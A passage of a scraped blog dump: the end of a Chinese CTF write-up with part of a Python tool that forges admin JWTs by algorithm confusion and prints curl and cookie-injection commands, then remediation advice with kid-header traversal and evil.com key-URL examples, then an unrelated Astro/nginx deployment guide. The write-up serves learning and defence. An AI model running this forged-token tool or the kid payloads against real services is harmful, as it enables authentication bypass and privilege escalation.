239 240 if response.status_code == 200: 241 print(f\u0026#34;[SUCCESS] ✓ 请求成功!\\n\u0026#34;) 242 243 if \u0026#39;admin\u0026#39; in response.text.lower(): 244 print(f\u0026#34;[SUCCESS] ✓ 身份已提升为 admin!\\n\u0026#34;) 245 246 if \u0026#39;flag\u0026#39; in response.text.lower(): 247 print(f\u0026#34;[SUCCESS] ✓ 找到 flag!\\n\u0026#34;) 248 249 import re 250 flags = re.findall(r\u0026#39;flag\\{[^}]+\\}\u0026#39;, response.text, re.IGNORECASE) 251 if flags: 252 print(\u0026#34;=\u0026#34; * 80) 253 print(f\u0026#34;🚩 FLAG: {flags[0]}\u0026#34;) 254 print(\u0026#34;=\u0026#34; * 80 + \u0026#34;\\n\u0026#34;) 255 return True 256 else: 257 print(f\u0026#34;[*] 完整响应:\\n{response.text}\\n\u0026#34;) 258 else: 259 print(f\u0026#34;[*] 响应片段:\\n{response.text[:500]}\\n\u0026#34;) 260 261 return True 262 263 elif response.status_code == 302: 264 print(f\u0026#34;[FAILED] ✗ 重定向到: {response.headers.get(\u0026#39;Location\u0026#39;)}\u0026#34;) 265 print(f\u0026#34;[FAILED] ✗ JWT 验证失败\\n\u0026#34;) 266 return False 267 268 else: 269 print(f\u0026#34;[?] 未知响应: {response.status_code}\u0026#34;) 270 print(f\u0026#34;{response.text[:300]}\\n\u0026#34;) 271 return False 272 273 except Exception as e: 274 print(f\u0026#34;[!] 请求失败: {e}\\n\u0026#34;) 275 return False 276 277def print_usage_info(malicious_jwt, url): 278 \u0026#34;\u0026#34;\u0026#34;打印使用信息\u0026#34;\u0026#34;\u0026#34; 279 print(\u0026#34;=\u0026#34; * 80) 280 print(\u0026#34;生成的恶意 JWT:\u0026#34;) 281 print(\u0026#34;=\u0026#34; * 80) 282 print(malicious_jwt) 283 print() 284 285 print(\u0026#34;=\u0026#34; * 80) 286 print(\u0026#34;Curl 命令:\u0026#34;) 287 print(\u0026#34;=\u0026#34; * 80) 288 print(f\u0026#39;curl -v -H \u0026#34;Cookie: token={malicious_jwt}\u0026#34; {url}/profile\u0026#39;) 289 print() 290 291 print(\u0026#34;=\u0026#34; * 80) 292 print(\u0026#34;Burp Suite 操作:\u0026#34;) 293 print(\u0026#34;=\u0026#34; * 80) 294 print(\u0026#34;1. 拦截 GET /profile 请求\u0026#34;) 295 print(\u0026#34;2. 替换 Cookie 中的 token\u0026#34;) 296 print(\u0026#34;3. Forward 请求\u0026#34;) 297 print() 298 299 print(\u0026#34;=\u0026#34; * 80) 300 print(\u0026#34;浏览器 Console:\u0026#34;) 301 print(\u0026#34;=\u0026#34; * 80) 302 print(f\u0026#39;document.cookie=\u0026#34;token={malicious_jwt};path=/\u0026#34;;location.reload();\u0026#39;) 303 print(\u0026#34;=\u0026#34; * 80 + \u0026#34;\\n\u0026#34;) 304 305# ============= 主函数 ============= 306 307def auto_mode(url): 308 \u0026#34;\u0026#34;\u0026#34;自动模式\u0026#34;\u0026#34;\u0026#34; 309 print(\u0026#34;\\n\u0026#34; + \u0026#34;=\u0026#34; * 80) 310 print(\u0026#34;自动模式\u0026#34;) 311 print(\u0026#34;=\u0026#34; * 80 + \u0026#34;\\n\u0026#34;) 312 313 # 步骤1: 获取公钥 314 print(\u0026#34;[步骤 1/4] 获取公钥\u0026#34;) 315 print(\u0026#34;-\u0026#34; * 80) 316 public_key_pem = get_public_key_from_jwks(url) 317 318 # 步骤2: 自动登录 319 print(\u0026#34;[步骤 2/4] 自动登录\u0026#34;) 320 print(\u0026#34;-\u0026#34; * 80) 321 original_token, original_payload = auto_login(url) 322 323 if not original_token: 324 print(\u0026#34;[!] 自动登录失败，请使用手动模式\u0026#34;) 325 sys.exit(1) 326 327 # 步骤3: 生成恶意 JWT 328 print(\u0026#34;[步骤 3/4] 生成恶意 JWT\u0026#34;) 329 print(\u0026#34;-\u0026#34; * 80) 330 malicious_jwt = create_malicious_jwt(public_key_pem, original_payload) 331 332 # 步骤4: 测试 333 print(\u0026#34;[步骤 4/4] 测试攻击\u0026#34;) 334 print(\u0026#34;-\u0026#34; * 80) 335 success = test_jwt(url, malicious_jwt) 336 337 # 输出使用信息 338 print_usage_info(malicious_jwt, url) 339 340 if success: 341 print(\u0026#34;[SUCCESS] ✓ 自动攻击成功!\u0026#34;) 342 else: 343 print(\u0026#34;[提示] 攻击未成功，请检查:\u0026#34;) 344 print(\u0026#34; 1. Token 是否过期\u0026#34;) 345 print(\u0026#34; 2. 使用 Burp Suite 手动验证\u0026#34;) 346 347def manual_mode(url): 348 \u0026#34;\u0026#34;\u0026#34;手动模式\u0026#34;\u0026#34;\u0026#34; 349 print(\u0026#34;\\n\u0026#34; + \u0026#34;=\u0026#34; * 80) 350 print(\u0026#34;手动模式\u0026#34;) 351 print(\u0026#34;=\u0026#34; * 80 + \u0026#34;\\n\u0026#34;) 352 353 # 步骤1: 获取公钥 354 print(\u0026#34;[步骤 1/4] 获取公钥\u0026#34;) 355 print(\u0026#34;-\u0026#34; * 80) 356 public_key_pem = get_public_key_from_jwks(url) 357 358 # 步骤2: 手动输入 token 359 print(\u0026#34;[步骤 2/4] 获取有效 Token\u0026#34;) 360 print(\u0026#34;-\u0026#34; * 80) 361 original_token, original_payload = manual_get_token(url) 362 363 # 步骤3: 生成恶意 JWT 364 print(\u0026#34;[步骤 3/4] 生成恶意 JWT\u0026#34;) 365 print(\u0026#34;-\u0026#34; * 80) 366 malicious_jwt = create_malicious_jwt(public_key_pem, original_payload) 367 368 # 步骤4: 测试 369 print(\u0026#34;[步骤 4/4] 测试攻击\u0026#34;) 370 print(\u0026#34;-\u0026#34; * 80) 371 success = test_jwt(url, malicious_jwt) 372 373 # 输出使用信息 374 print_usage_info(malicious_jwt, url) 375 376 if success: 377 print(\u0026#34;[SUCCESS] ✓ 攻击成功!\u0026#34;) 378 else: 379 print(\u0026#34;[提示] 如果失败，请:\u0026#34;) 380 print(\u0026#34; 1. 确认 token 未过期（重新登录）\u0026#34;) 381 print(\u0026#34; 2. 使用 Burp Suite 手动验证\u0026#34;) 382 383def main(): 384 parser = argparse.ArgumentParser( 385 description=\u0026#39;JWT 算法混淆攻击工具 (RS256 -\u0026gt; HS256)\u0026#39;, 386 formatter_class=argparse.RawDescriptionHelpFormatter, 387 epilog=\u0026#39;\u0026#39;\u0026#39; 388使用示例: 389 自动模式: python3 %(prog)s --auto 390 手动模式: python3 %(prog)s --manual 391 指定 URL: python3 %(prog)s --auto --url http://target.com:8888 392 \u0026#39;\u0026#39;\u0026#39; 393 ) 394 395 parser.add_argument( 396 \u0026#39;--auto\u0026#39;, 397 action=\u0026#39;store_true\u0026#39;, 398 help=\u0026#39;自动模式（自动登录获取 token）\u0026#39; 399 ) 400 401 parser.add_argument( 402 \u0026#39;--manual\u0026#39;, 403 action=\u0026#39;store_true\u0026#39;, 404 help=\u0026#39;手动模式（手动输入 token）\u0026#39; 405 ) 406 407 parser.add_argument( 408 \u0026#39;--url\u0026#39;, 409 type=str, 410 default=TARGET_URL, 411 help=f\u0026#39;目标 URL（默认: {TARGET_URL}）\u0026#39; 412 ) 413 414 args = parser.parse_args() 415 416 # 如果没有指定模式，显示帮助 417 if not args.auto and not args.manual: 418 parser.print_help() 419 print(\u0026#34;\\n[!] 请指定模式: --auto 或 --manual\u0026#34;) 420 sys.exit(1) 421 422 # 如果同时指定两个模式，报错 423 if args.auto and args.manual: 424 print(\u0026#34;[!] 错误: 不能同时使用 --auto 和 --manual\u0026#34;) 425 sys.exit(1) 426 427 print_banner() 428 429 try: 430 if args.auto: 431 auto_mode(args.url) 432 else: 433 manual_mode(args.url) 434 435 except KeyboardInterrupt: 436 print(\u0026#34;\\n\\n[!] 用户中断\u0026#34;) 437 sys.exit(0) 438 except Exception as e: 439 print(f\u0026#34;\\n[!] 错误: {e}\u0026#34;) 440 import traceback 441 traceback.print_exc() 442 sys.exit(1) 443 444if __name__ == \u0026#34;__main__\u0026#34;: 445 main() 漏洞修复/规避方法 一、漏洞本质理解 银行取款比喻（算法混淆攻击） 正常情况（RS256 —— 安全） 你去银行取钱 ↓ 【登录验证】 柜台：请签名（用你的私钥 = 你独特的签名技巧） 你：[签名] 柜台：核对笔迹... ✅ 是本人！ ↓ 【签发凭证】 行长用【私钥】在取款凭证（JWT）上签名 凭证内容： - 姓名：张三 - 权限：普通用户（role: user） - 行长签名：[只有行长才能签] ↓ 【验证取款】 保安验证凭证： - 用墙上的\u0026#34;行长签名样本\u0026#34;（公钥）验证 - ✅ 确实是行长签的！放行！ 算法混淆攻击（Algorithm Confusion） 黑客去银行 ↓ 【黑客也正常登录】 拿到一个真凭证（权限：普通用户） ↓ 【回家篡改凭证】 黑客操作： 1. 把 role 改成 admin 2. 从墙上拿到“行长签名样本”（公钥，公开） 3. 用这个公钥作为“印章材料” 4. 在凭证上写明：alg = HS256 ↓ 【漏洞触发】 保安（有漏洞）： - “哦？你说用 HS256？” - “那我也用 HS256 算一下，哎一样，sir this way” - 用公钥作为 HMAC 密钥重新计算签名 - 对比结果：✅ 一模一样 本质一句话总结：\n黑客用“公钥”当成“对称密钥”签名 服务端居然也照做了，真是傻的可爱\n⚠️ 核心问题澄清 ❌ 不是公钥泄露（公钥本来就该公开） ❌ 不是 RS256 被破解 ❌ 不是 HS256 不安全 👉 真正的问题是：\n服务端信任了客户端声明的算法（alg）\n二、关键防御原则 1️⃣ 服务端必须强制指定算法（最重要） 永远不要信任 JWT Header 中的 alg 字段\n❌ 错误示例（真实 CVE 场景） 1def verify_jwt_vulnerable(token): 2 header = decode_header(token) 3 algorithm = header[\u0026#39;alg\u0026#39;] # ❌ 攻击者可控 4 5 if algorithm == \u0026#39;RS256\u0026#39;: 6 return verify_with_rsa(token, PUBLIC_KEY) 7 elif algorithm == \u0026#39;HS256\u0026#39;: 8 # ❌ 致命错误：公钥被当作 HMAC 密钥 9 return verify_with_hmac(token, PUBLIC_KEY) 攻击流程：\n1攻击者： 2 alg = HS256 3 signature = HMAC(message, PUBLIC_KEY) 4 5服务端： 6 expected = HMAC(message, PUBLIC_KEY) 7 8signature == expected → ✅ 验证通过 ✅ 正确示例（安全） 1def verify_jwt_secure(token): 2 EXPECTED_ALG = \u0026#39;RS256\u0026#39; 3 4 header = decode_header(token) 5 if header.get(\u0026#39;alg\u0026#39;) != EXPECTED_ALG: 6 raise SecurityError(\u0026#34;Algorithm mismatch\u0026#34;) 7 8 return verify_with_rsa(token, PUBLIC_KEY) ⚠️ 工程级建议：\n更推荐 完全不自行解析 Header，而是交给成熟 JWT 库一次性完成校验\n2️⃣ 算法白名单，而不是黑名单 1jwt.decode( 2 token, 3 public_key, 4 algorithms=[\u0026#39;RS256\u0026#39;] # 白名单 5) ⚠️ 重要修正说明：\nHS256 本身不是不安全算法\n但：\n如果系统使用 RS256 / ES256 必须明确禁用 HS256 ❌ 禁止在同一系统中混用对称 + 非对称算法\nNever mix symmetric and asymmetric JWT algorithms in the same trust boundary\n3️⃣ 明确禁用 none 算法 1FORBIDDEN_ALGORITHMS = [\u0026#39;none\u0026#39;] 现代库通常已默认禁用，但不要依赖“默认安全”。\n三、完整的安全 JWT 验证流程 1def secure_jwt_verify(token, public_key): 2 try: 3 payload = jwt.decode( 4 token, 5 public_key, 6 algorithms=[\u0026#39;RS256\u0026#39;], 7 audience=\u0026#39;your-app-id\u0026#39;, 8 issuer=\u0026#39;your-trusted-issuer.com\u0026#39; 9 ) 10 11 # 授权约束校验（不是防篡改） 12 if payload.get(\u0026#39;role\u0026#39;) not in [\u0026#39;user\u0026#39;, \u0026#39;admin\u0026#39;, \u0026#39;guest\u0026#39;]: 13 raise SecurityError(\u0026#34;Invalid role\u0026#34;) 14 15 return payload 16 17 except jwt.ExpiredSignatureError: 18 raise SecurityError(\u0026#34;Token expired\u0026#34;) 19 except jwt.InvalidTokenError: 20 raise SecurityError(\u0026#34;JWT validation failed\u0026#34;) ⚠️ 说明修正：\nJWT 一旦验证通过，payload 即不可被篡改 role 校验属于 授权逻辑（Authorization） 四、其他非常关键的攻击点 🔥 1. kid Header 注入攻击 危险示例：\n1{ 2 \u0026#34;alg\u0026#34;: \u0026#34;RS256\u0026#34;, 3 \u0026#34;kid\u0026#34;: \u0026#34;../../../../../etc/passwd\u0026#34; 4} 或：\n1\u0026#34;kid\u0026#34;: \u0026#34;http://evil.com/key.pem\u0026#34; 防御原则： kid 只能：\n映射到服务端预定义 key-id ❌ 禁止：\n文件路径 URL 动态数据库查询 结论： kid 是仅次于 alg 的第二高危 Header 字段\n🔥 2. JWT ≠ Session JWT 不适合： 长期高权限 敏感操作 建议： 短期 JWT 二次校验 服务端状态控制 五、日志与监控 ⚠️ 不要误判攻击类型：\n1except jwt.InvalidTokenError: 2 logging.warning( 3 \u0026#34;JWT validation failed with unexpected algorithm or signature\u0026#34;, 4 extra={\u0026#34;header\u0026#34;: safe_decode_header(token)} 5 ) 👉 实战中不一定能精确区分算法混淆\n六、代码审计检查清单 是否显式指定算法白名单？ 是否禁止混用对称 / 非对称 JWT？ 是否禁用 none？ 是否限制 kid 来源？ 是否避免自行解析 Header？ 是否将授权逻辑与 JWT 校验分离？ 是否使用最新 JWT 库？ 七、最终总结 JWT 算法混淆攻击的本质，并不是密码学失败，而是信任边界设计错误。\n不可妥协的三条原则：\n算法必须由服务端决定 密钥来源必须完全受控 JWT 只做身份，不做最终授权 一句话总结： JWT 的安全问题，99% 来自工程实现，而不是算法本身。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-12-19T16:35:18.967786Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251219144259217.png","permalink":"/post/%E5%A5%BD%E9%9D%B6%E5%9C%BA-jwt%E7%AE%97%E6%B3%95%E6%B7%B7%E6%B7%86-wp/","title":"好靶场-jwt算法混淆-WP"},{"content":"将 Astro 博客部署到云服务器上有完全的控制权。以下是详细步骤：\n1. 服务器环境准备 登录服务器并更新系统 用的是Ubuntu-24.04.1-x64\nssh username@your-server-ip c 安装必要软件 # 安装 Node.js（推荐用 nvm 避免权限问题） curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash # 掉线的话用镜像 curl -o- https://gh-proxy.org/https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash # 重新加载 bash source ~/.bashrc # 安装 Node.js LTS # 如果安装慢用镜像 export NVM_NODEJS_ORG_MIRROR=https://npmmirror.com/mirrors/node nvm install --lts nvm use --lts # 验证安装 node --version npm --version 2. 安装 Nginx（Web服务器） sudo apt install nginx -y sudo systemctl start nginx sudo systemctl enable nginx 3. 安装pnpm npm install -g pnpm 4. 在服务器上创建 Astro 项目 cd /var/www pnpm create astro@latest --template uxiaohan/vhAstro-Theme astro-blog cd astro-blog npm install npm run build 5. 配置 Nginx # 创建 Nginx 配置文件 sudo vim /etc/nginx/sites-available/astro-blog 基本配置示例 server { listen 80; listen [::]:80; # 你的域名或服务器IP # server_name your-domain.com www.your-domain.com; # 如果只有 IP，用： # server_name your-server-ip; root /var/www/astro-blog/dist/; index index.html; # 启用 gzip 压缩 gzip on; gzip_vary on; gzip_min_length 1024; gzip_proxied any; gzip_comp_level 6; gzip_types text/plain text/css text/xml text/javascript application/javascript application/xml+rss application/atom+xml image/svg+xml; location / { try_files $uri $uri/ $uri.html =404; } # 缓存静态资源 location ~* \\.(jpg|jpeg|png|gif|ico|css|js|svg)$ { expires 1y; add_header Cache-Control \u0026#34;public, immutable\u0026#34;; } # 防止访问 .astro 等隐藏文件 location ~ /\\. { deny all; } } 启用网站配置 # 创建符号链接 sudo ln -s /etc/nginx/sites-available/astro-blog /etc/nginx/sites-enabled/ # 测试配置 sudo nginx -t # 重启 Nginx sudo systemctl restart nginx 到这里就创建了默认的blog主题的，如果用了主题的就是主题的主页面，然后把md文章丢src下面对应的目录就行。\n迁移Hexo文章到Astro 在原本的Hexo文件夹下运行下面的代码，需要安装依赖\n1pip install python-frontmatter pyyaml -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple 下面这个脚本实现替换文件头的功能，可能个别文章还是需要手动替换，不过这个已经很好了。\n1import os 2import re 3import datetime 4import frontmatter 5import yaml 6 7def convert_hexo_to_astro(file_path): 8 try: 9 with open(file_path, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as f: 10 content = f.read() 11 12 # 检查文件是否已经有 Astro 格式的前言 13 if \u0026#39;id:\u0026#39; in content and \u0026#39;recommend:\u0026#39; in content: 14 print(f\u0026#34;跳过已转换的文件: {file_path}\u0026#34;) 15 return 16 17 # 解析原 frontmatter 18 post = frontmatter.loads(content) 19 20 # 生成英文 ID（基于标题） 21 title = post.get(\u0026#39;title\u0026#39;, \u0026#39;未命名文章\u0026#39;) 22 # 移除特殊字符，保留中文字符 23 id_str = re.sub(r\u0026#39;[^\\w\\u4e00-\\u9fff\\s-]\u0026#39;, \u0026#39;\u0026#39;, str(title)) 24 id_str = re.sub(r\u0026#39;\\s+\u0026#39;, \u0026#39;-\u0026#39;, id_str) # 空格转横线 25 id_str = id_str.lower().strip(\u0026#39;-\u0026#39;)[:50] # 转为小写并截断 26 27 # 如果 ID 为空，使用文件名 28 if not id_str: 29 filename = os.path.basename(file_path).replace(\u0026#39;.md\u0026#39;, \u0026#39;\u0026#39;) 30 id_str = re.sub(r\u0026#39;[^\\w\\s-]\u0026#39;, \u0026#39;\u0026#39;, filename) 31 id_str = re.sub(r\u0026#39;\\s+\u0026#39;, \u0026#39;-\u0026#39;, id_str).lower()[:50] 32 33 # 转换日期格式 34 if \u0026#39;date\u0026#39; in post: 35 if isinstance(post[\u0026#39;date\u0026#39;], datetime.datetime): 36 post[\u0026#39;date\u0026#39;] = post[\u0026#39;date\u0026#39;].isoformat() 37 elif isinstance(post[\u0026#39;date\u0026#39;], str): 38 # 尝试多种日期格式 39 date_formats = [ 40 \u0026#39;%Y-%m-%d %H:%M:%S\u0026#39;, 41 \u0026#39;%Y-%m-%d %H:%M\u0026#39;, 42 \u0026#39;%Y-%m-%d\u0026#39;, 43 \u0026#39;%Y/%m/%d %H:%M:%S\u0026#39;, 44 \u0026#39;%Y/%m/%d\u0026#39; 45 ] 46 for fmt in date_formats: 47 try: 48 dt = datetime.datetime.strptime(post[\u0026#39;date\u0026#39;], fmt) 49 post[\u0026#39;date\u0026#39;] = dt.isoformat() 50 break 51 except ValueError: 52 continue 53 else: 54 # 如果所有格式都失败，使用当前时间 55 post[\u0026#39;date\u0026#39;] = datetime.datetime.now().isoformat() 56 57 # 转换分类格式 58 if \u0026#39;categories\u0026#39; in post: 59 if isinstance(post[\u0026#39;categories\u0026#39;], list): 60 # 如果是列表，转换为逗号分隔的字符串 61 post[\u0026#39;categories\u0026#39;] = \u0026#34;,\u0026#34;.join([str(c) for c in post[\u0026#39;categories\u0026#39;]]) 62 elif not isinstance(post[\u0026#39;categories\u0026#39;], str): 63 # 如果不是字符串，转换为字符串 64 post[\u0026#39;categories\u0026#39;] = str(post[\u0026#39;categories\u0026#39;]) 65 else: 66 # 如果没有分类，设置为默认值 67 post[\u0026#39;categories\u0026#39;] = \u0026#34;未分类\u0026#34; 68 69 # 确保标签是列表格式 70 if \u0026#39;tags\u0026#39; in post: 71 if isinstance(post[\u0026#39;tags\u0026#39;], str): 72 # 如果是字符串，尝试按逗号分割 73 post[\u0026#39;tags\u0026#39;] = [tag.strip() for tag in post[\u0026#39;tags\u0026#39;].split(\u0026#39;,\u0026#39;)] 74 elif not isinstance(post[\u0026#39;tags\u0026#39;], list): 75 # 如果不是列表，转换为列表 76 post[\u0026#39;tags\u0026#39;] = [str(post[\u0026#39;tags\u0026#39;])] 77 else: 78 # 如果没有标签，设置为空列表 79 post[\u0026#39;tags\u0026#39;] = [] 80 81 # 添加必填字段（如果不存在） 82 if \u0026#39;id\u0026#39; not in post: 83 post[\u0026#39;id\u0026#39;] = id_str 84 85 if \u0026#39;recommend\u0026#39; not in post: 86 post[\u0026#39;recommend\u0026#39;] = False 87 88 if \u0026#39;top\u0026#39; not in post: 89 post[\u0026#39;top\u0026#39;] = False 90 91 if \u0026#39;hide\u0026#39; not in post: 92 post[\u0026#39;hide\u0026#39;] = False 93 94 # 确保封面图字段存在 95 if \u0026#39;cover\u0026#39; not in post: 96 post[\u0026#39;cover\u0026#39;] = \u0026#34;\u0026#34; 97 98 # 保存新格式 99 new_content = frontmatter.dumps(post) 100 101 # 写入文件 102 with open(file_path, \u0026#39;w\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;, newline=\u0026#39;\\n\u0026#39;) as f: 103 f.write(new_content) 104 105 print(f\u0026#34;成功转换: {file_path}\u0026#34;) 106 107 except yaml.YAMLError as e: 108 print(f\u0026#34;YAML 解析错误 {file_path}: {e}\u0026#34;) 109 # 尝试手动修复格式 110 manual_fix_yaml(file_path) 111 except Exception as e: 112 print(f\u0026#34;处理文件 {file_path} 时出错: {e}\u0026#34;) 113 114def manual_fix_yaml(file_path): 115 \u0026#34;\u0026#34;\u0026#34;手动修复 YAML 格式错误\u0026#34;\u0026#34;\u0026#34; 116 try: 117 with open(file_path, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as f: 118 content = f.read() 119 120 # 提取前言部分 121 parts = content.split(\u0026#39;---\u0026#39;, 2) 122 if len(parts) \u0026lt; 3: 123 print(f\u0026#34;无法解析文件格式: {file_path}\u0026#34;) 124 return 125 126 frontmatter_text = parts[1] 127 body = parts[2] 128 129 # 简单的 YAML 修复 130 # 1. 确保键值对格式正确 131 lines = frontmatter_text.split(\u0026#39;\\n\u0026#39;) 132 fixed_lines = [] 133 134 for line in lines: 135 line = line.strip() 136 if not line: 137 continue 138 139 # 处理键值对 140 if \u0026#39;:\u0026#39; in line: 141 key, value = line.split(\u0026#39;:\u0026#39;, 1) 142 key = key.strip() 143 value = value.strip() 144 145 # 确保值有引号（如果包含特殊字符） 146 if value and not (value.startswith(\u0026#39;\u0026#34;\u0026#39;) and value.endswith(\u0026#39;\u0026#34;\u0026#39;)): 147 if any(char in value for char in \u0026#39;[]{}:,\u0026#39;): 148 value = f\u0026#39;\u0026#34;{value}\u0026#34;\u0026#39; 149 150 fixed_lines.append(f\u0026#34;{key}: {value}\u0026#34;) 151 else: 152 # 处理列表项 153 if line.startswith(\u0026#39;-\u0026#39;): 154 fixed_lines.append(f\u0026#34; {line}\u0026#34;) 155 else: 156 fixed_lines.append(line) 157 158 # 重新构建前言 159 fixed_frontmatter = \u0026#39;\\n\u0026#39;.join(fixed_lines) 160 new_content = f\u0026#34;---\\n{fixed_frontmatter}\\n---\\n{body}\u0026#34; 161 162 with open(file_path, \u0026#39;w\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;, newline=\u0026#39;\\n\u0026#39;) as f: 163 f.write(new_content) 164 165 print(f\u0026#34;已尝试手动修复: {file_path}\u0026#34;) 166 167 # 重新尝试转换 168 convert_hexo_to_astro(file_path) 169 170 except Exception as e: 171 print(f\u0026#34;手动修复失败 {file_path}: {e}\u0026#34;) 172 173def backup_files(directory): 174 \u0026#34;\u0026#34;\u0026#34;备份原始文件\u0026#34;\u0026#34;\u0026#34; 175 import shutil 176 import time 177 178 backup_dir = f\u0026#34;{directory}_backup_{int(time.time())}\u0026#34; 179 shutil.copytree(directory, backup_dir) 180 print(f\u0026#34;已创建备份: {backup_dir}\u0026#34;) 181 return backup_dir 182 183# 主程序 184if __name__ == \u0026#34;__main__\u0026#34;: 185 blog_dir = \u0026#39;./\u0026#39; 186 187 # 检查目录是否存在 188 if not os.path.exists(blog_dir): 189 print(f\u0026#34;目录不存在: {blog_dir}\u0026#34;) 190 exit(1) 191 192 # 备份原始文件 193 backup_path = backup_files(blog_dir) 194 print(f\u0026#34;原始文件已备份到: {backup_path}\u0026#34;) 195 196 # 遍历目录转换所有文件 197 converted_count = 0 198 error_count = 0 199 200 for root, dirs, files in os.walk(blog_dir): 201 for file in files: 202 if file.endswith(\u0026#39;.md\u0026#39;): 203 file_path = os.path.join(root, file) 204 try: 205 convert_hexo_to_astro(file_path) 206 converted_count += 1 207 except Exception as e: 208 print(f\u0026#34;处理文件 {file_path} 时发生严重错误: {e}\u0026#34;) 209 error_count += 1 210 211 print(f\u0026#34;\\n转换完成!\u0026#34;) 212 print(f\u0026#34;成功转换: {converted_count} 个文件\u0026#34;) 213 print(f\u0026#34;转换失败: {error_count} 个文件\u0026#34;) 214 print(f\u0026#34;原始文件备份在: {backup_path}\u0026#34;) 然后运行一下下面的命令，删除某些不规范的代码块语法。\n1# C → c 2find src/content/blog/ \\( -name \u0026#34;*.md\u0026#34; -o -name \u0026#34;*.mdx\u0026#34; \\) | while read -r file; do 3 sed -i \u0026#39;s/```C$/```c/g\u0026#39; \u0026#34;$file\u0026#34; 4done 5 6# mysql → sql 7find src/content/blog/ \\( -name \u0026#34;*.md\u0026#34; -o -name \u0026#34;*.mdx\u0026#34; \\) | while read -r file; do 8 sed -i \u0026#39;s/```mysql$/```sql/g\u0026#39; \u0026#34;$file\u0026#34; 9done 10 11# url → plaintext 12find src/content/blog/ \\( -name \u0026#34;*.md\u0026#34; -o -name \u0026#34;*.mdx\u0026#34; \\) | while read -r file; do 13 sed -i \u0026#39;s/```url$/```plaintext/g\u0026#39; \u0026#34;$file\u0026#34; 14done marmaid支持 添加 Mermaid 支持。导入了 mermaid，添加到 integrations 数组中。\n1//------其他部分 2 3import mermaid from \u0026#39;astro-mermaid\u0026#39;; 4import { fileURLToPath } from \u0026#39;url\u0026#39;; 5const __dirname = path.dirname(fileURLToPath(import.meta.url)); 6//------其他部分 7 integrations: [ 8 swup({ 9 theme: false, 10 animationClass: \u0026#34;vh-animation-\u0026#34;, 11 containers: [\u0026#34;.main-inner\u0026gt;.main-inner-content\u0026#34;, \u0026#39;.vh-header\u0026gt;.main\u0026#39;], 12 smoothScrolling: true, 13 progress: true, 14 cache: true, 15 preload: true, 16 accessibility: true, 17 updateHead: true, 18 updateBodyClass: false, 19 globalInstance: true 20 }), 21 22 // 添加 Mermaid 支持 23 mermaid({ 24 theme: \u0026#39;default\u0026#39;, // 或 \u0026#39;forest\u0026#39;, \u0026#39;dark\u0026#39;, \u0026#39;neutral\u0026#39; 等 25 }), 26 27 //------其他部分 28 Compress({ Image: false, Action: { Passed: async () =\u0026gt; true } }), 29 sitemap({ 30 // 处理末尾带 / 的 url 31 serialize: (item) =\u0026gt; ({ ...item, url: item.url.endsWith(\u0026#39;/\u0026#39;) ? 6. 使用 Let\u0026rsquo;s Encrypt 配置 HTTPS（可选但推荐） 1# 安装 Certbot 2sudo apt install certbot python3-certbot-nginx -y 3 4# 获取证书不要邮箱 5sudo certbot --nginx -d your-domain.com -d www.your-domain.com --register-unsafely-without-email --agree-tos 6 7# 设置自动续期 8sudo certbot renew --dry-run 7. 配置防火墙和设置专用用户 1# 如果使用 UFW 2sudo ufw allow \u0026#39;Nginx Full\u0026#39; 3sudo ufw allow OpenSSH 4sudo ufw enable 5# 打开hook的端口 6sudo ufw allow 9000/tcp 7sudo ufw status 第1步：创建专用用户 1# 创建系统用户 blogdeploy（不创建家目录，不允许登录） 2sudo adduser --system --group blogdeploy 3 4# 验证用户创建成功 5id blogdeploy 6# 应该显示：uid=xxx(blogdeploy) gid=xxx(blogdeploy) groups=xxx(blogdeploy) 第2步：设置目录权限 1# 将项目目录所有权给 blogdeploy 2sudo chown -R blogdeploy:blogdeploy /var/www/astro-blog 3 4# 或者如果 pnpm 装在其他地方 5which pnpm # 先查看 pnpm 位置 6# 给 blogdeploy 用户访问 pnpm 的权限 7sudo chown -R blogdeploy:blogdeploy /root/.local/share/pnpm 8 9 10# dist 目录特殊处理：让 www-data（Nginx用户）有读取权限 11sudo chown -R blogdeploy:www-data /var/www/astro-blog/dist 12sudo chmod -R 755 /var/www/astro-blog/dist 第3步：配置 blogdeploy 用户的 Git 1# 直接在项目里配置（只对这个仓库生效） 2cd /var/www/astro-blog 3 4sudo -u blogdeploy git config user.name \u0026#34;Blog Deploy\u0026#34; 5sudo -u blogdeploy git config user.email \u0026#34;deploy@ruajingjing.top\u0026#34; 6sudo -u blogdeploy git config --add safe.directory /var/www/astro-blog 7 8# 验证 9sudo -u blogdeploy git config --list 10 11# 切换到 blogdeploy 用户（临时） 12sudo -u blogdeploy bash 13 14# 测试能否访问仓库 15cd /var/www/astro-blog 16git status 17git pull origin astro-blog 18 19# 退出 blogdeploy 用户 20exit 第4步：确保 blogdeploy 能使用 pnpm 1echo \u0026#34;安装 nvm...\u0026#34; 2# 通过 sudo -u 执行安装脚本 3sudo -u blogdeploy bash \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 4# 下载并安装 nvm 5curl -o- https://gh-proxy.org/https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash 6 7# 设置 nvm 环境变量 8export NVM_DIR=\u0026#34;$HOME/.nvm\u0026#34; 9[ -s \u0026#34;$NVM_DIR/nvm.sh\u0026#34; ] \u0026amp;\u0026amp; \\. \u0026#34;$NVM_DIR/nvm.sh\u0026#34; 10 11# 安装 Node.js LTS 12echo \u0026#34;安装 Node.js LTS 版本...\u0026#34; 13nvm install --lts 14nvm use --lts 15 16# 验证安装 17echo \u0026#34;Node.js 版本:\u0026#34; 18node --version 19echo \u0026#34;npm 版本:\u0026#34; 20npm --version 21EOF 22 23# 4. 重新安装 pnpm（使用正确的方法） 24echo \u0026#34;重新安装 pnpm...\u0026#34; 25sudo -u 